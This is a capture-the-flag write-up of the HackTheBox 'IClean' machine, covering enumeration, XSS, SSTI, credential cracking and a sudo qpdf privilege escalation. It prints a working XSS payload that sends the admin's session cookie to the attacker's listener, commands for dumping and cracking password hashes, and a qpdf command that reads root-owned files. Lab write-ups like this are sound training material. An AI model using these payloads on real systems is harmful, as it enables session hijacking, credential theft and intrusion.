HackTheBox: IClean
IClean is a medium machine by HackTheBox. We start by exploiting an XSS vulnerability to steal the admin’s session cookie. Using the cookie, we access the admin dashboard and find a SSTI vulnerability in the invoice generation feature, leading to a reverse shell. We pivot to the consuela user by cracking the database credentials and escalate privileges using the qpdf command to read the root.txt file.
Enumeration
Nmap Scan
As always we start with our Nmap
scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ nmap -sC -sV 10.10.11.12 -T4 -oN iclean.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-24 17:16 BST
Nmap scan report for 10.10.11.12
Host is up (0.092s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.64 seconds
Looking at the results, we have 2 ports.
- 22/SSH - open
- 80/HTTP - open
Web Server
Taking a look at the web server on port 80
we get redirected to http://capiclean.htb/
adding that to our /etc/hosts
.
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 Voldemort
10.10.11.20 capiclean.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Looking at the website it seems like it’s a cleanup company.
Running Gobuster
on the web server we got some endpoints.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ gobuster dir -u http://capiclean.htb -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,png,db -t 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://capiclean.htb
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,png,db,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 200) [Size: 5267]
/choose (Status: 200) [Size: 6084]
/dashboard (Status: 302) [Size: 189] [--> /]
/login (Status: 200) [Size: 2106]
/logout (Status: 302) [Size: 189] [--> /]
/quote (Status: 200) [Size: 2237]
/server-status (Status: 403) [Size: 278]
/services (Status: 200) [Size: 8592]
/team (Status: 200) [Size: 8109]
Progress: 122814 / 122820 (100.00%)
===============================================================
Finished
===============================================================
taking a look at /quote
it seems like we can book for services and supply an email address.
Exploitation
Cross Site Scripting (XSS)
We decide to intercept that with burpsuite to see what really happens we figured out that the form is sending a POST request to /sendMessage
with 2 parameters service
and email
, sending that to repeater we tried to inject an XSS payload and url encode it in order to try and steal the admin cookie.
1
<img src="empty.png" onerror="fetch('http://10.10.15.7:8000?cookie='+document.cookie); " />
Setting up a python webserver and waiting a bit we get the admin session cookie!
1
2
3
4
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.12 - - [24/Jul/2024 18:01:34] "GET /?cookie=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqEyEQ.dsvQJTxMJj3xFD-xtjOdE0-l0a8 HTTP/1.1" 200 -
Server Side Template Injection (SSTI)
Setting the cookie in our browser, we head to /dashboard
discovered by Gobuster
.
We’re able to generate invoices, generate QR, edit services and check quote requests. Trying to generate an invoice, we fill all fields and generate an ID, in our case 5557653435
.
Going to Generate QR
, an ID is asked for us to generate the QR code, filling ours we got a .png
link to the QR code and can still generate a scannable Invoice using the link we obtained.
Once we hit the submit button we get an invoice having the QR code we got earlier, on the bottom right.
As the QR code is fetched from the link we submit, we could potentially exploit a SSTI, catching the request using burpsuite we get the qr_link
parameter that we can modify, injecting a SSTI payload we can confirm that indeed it’s vulnerable to it as we got the result of \(5*5\)
Knowing it’s a Python web server, Werkzeug more specifically, we tried some Jinja SSTI Payloads from Hacktricks and we got an RCE payload that works fine!
Initial Access
Setting up a reverse shell payload and a listener using pwncat
we get a shell.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ pwncat-cs -lp 4444
/home/Str4ngerX/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
'class': algorithms.Blowfish,
[21:51:23] Welcome to pwncat 🐈! __main__.py:164
[21:54:07] received connection from 10.10.11.12:58652 bind.py:84
[21:54:08] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[21:54:09] 10.10.11.12:58652: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@iclean:/opt/app$ ls
app.py static templates
(remote) www-data@iclean:/opt/app$
Reading the app.py
file we get the database credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
import os
import random, string
import pyqrcode
from jinja2 import StrictUndefined
from io import BytesIO
import re, requests, base64
app = Flask(__name__)
app.config['SESSION_COOKIE_HTTPONLY'] = False
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': [REDACTED],
'database': 'capiclean'
}
app._static_folder = os.path.abspath("/opt/app/static/")
User Pivoting
Connecting to the mysql database using the credentials found we can retrieve consuela
password hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
(remote) www-data@iclean:/opt/app$ mysql -u iclean -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6753
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| capiclean |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
mysql> use capiclean
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests |
| services |
| users |
+---------------------+
3 rows in set (0.00 sec)
mysql> select * from users;
+----+----------+----------------------------------------------+----------------------------------+
| id | username | password | role_id |
+----+----------+----------------------------------------------+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57[REDACTED] | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2[REDACTED] | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+----------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)
mysql>
Copying the hash to our machine we were able to crack it using Hashcat
.
1
2
3
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ hashcat -a0 -m1400 hash.txt /usr/share/wordlists/rockyou.txt --show
0a298fdd4d546844ae940357b631e40bf2a784793[REDACTED]:[REDACTED]
Connecting to consuela
using the password cracked with SSH
we were able to retrieve user.txt
flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(Str4ngerX㉿Voldemort)-[~/Desktop/HackTheBox/IClean]
└─$ ssh consuela@capiclean.htb
consuela@capiclean.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Jul 24 09:15:14 PM UTC 2024
[...]
You have mail.
Last login: Wed Jul 24 21:15:15 2024 from 10.10.15.7
consuela@iclean:~$ ls
user.txt
Privilege Escalation
Looking for sudo permissions on user consuela
we can see that the user can run qpdf
as root. qpdf
is a tool used for manipulating PDF files, such as merging, splitting, and modifying them.
1
2
3
4
5
6
consuela@iclean:~$ sudo -l
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
Googling for any exploits we couldn’t find anything interesting. Asking chatgpt for a litlle help we get what we need to do!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
consuela@iclean:~$ sudo /usr/bin/qpdf --empty /tmp/root.txt --qdf -add-attachment /root/root.txt --
consuela@iclean:~$ ls /tmp
puppeteer_dev_chrome_profile-XXXXXXBovcOT
puppeteer_dev_chrome_profile-XXXXXXjH2If1
root.txt
systemd-private-ef6938d78374488e922ee48e4c5c1853-apache2.service-oXsGvg
systemd-private-ef6938d78374488e922ee48e4c5c1853-ModemManager.service-4RoDox
systemd-private-ef6938d78374488e922ee48e4c5c1853-systemd-logind.service-R1AbY6
systemd-private-ef6938d78374488e922ee48e4c5c1853-systemd-resolved.service-mxWT8O
systemd-private-ef6938d78374488e922ee48e4c5c1853-systemd-timesyncd.service-VNnof3
systemd-private-ef6938d78374488e922ee48e4c5c1853-upower.service-9ucL2N
vmware-root_781-4290101162
consuela@iclean:~$ cat /tmp/root.txt
%PDF-1.3
%����
%QDF-1.0
[....]
<<
/Params <<
/CheckSum <cfbb642b75cc05fab13fc0ba37fef3e1>
/CreationDate (D:20240724220748Z)
/ModDate (D:20240724220748Z)
/Size 33
>>
/Type /EmbeddedFile
/Length 6 0 R
>>
stream
701bf4cc2e8e7437d[REDACTED]
endstream
endobj
[....]
startxref
802
%%EOF
consuela@iclean:~$
And there we have it, we got the root.txt
file. Another way to do it is to use the same command in order to retrieve root’s private key in order to SSH to it.
And with that, we can say that the box is officially Pwned ! ⚔️